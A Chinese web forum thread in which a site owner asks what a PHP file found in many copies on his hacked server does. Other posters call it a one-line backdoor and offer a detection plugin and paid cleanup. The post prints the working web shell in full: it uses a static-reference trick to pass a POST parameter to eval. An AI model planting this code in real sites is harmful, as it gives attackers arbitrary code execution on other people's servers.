服务器被挂马，扫出来一堆这样内容的文件

paladinet

1. <?php
   
2. function &a()
   
3. {
   
4.          static $b=0;
   
5.          return $b;
   
6. }
   
7. $aa=500;
   
8. $aa=&a();
   
9. $aa="".@$_POST["abituz279"];
   
10. eval(a());
    
11. ?>

复制代码

服务器上有文件是这样的内容，高手指点下坏人想做什么？

我知道答案 回答被采纳将会获得1 贡献 已有5人回答

鸿茂传媒

服务器已经被入侵了，加强防御，一般被黑，大部分都是劫持百度快照居多。

paladinet

劫持百度快照，我如何才能检测到？然后我再如何操作呢？望高人指点！

paladinet

鸿茂传媒 发表于 2020-3-12 19:32
服务器已经被入侵了，加强防御，一般被黑，大部分都是劫持百度快照居多。 ...

望高人指点！

耗子

  可以联系我的QQ交谈 专业清理discuz 木马

1314学习网

一句话后门，可以执行任意php代码

免费的 Discuz劫持检测插件：http://addon.discuz.com/?@freeaddon_snapshot.plugin

可以有偿排查清理加固服务器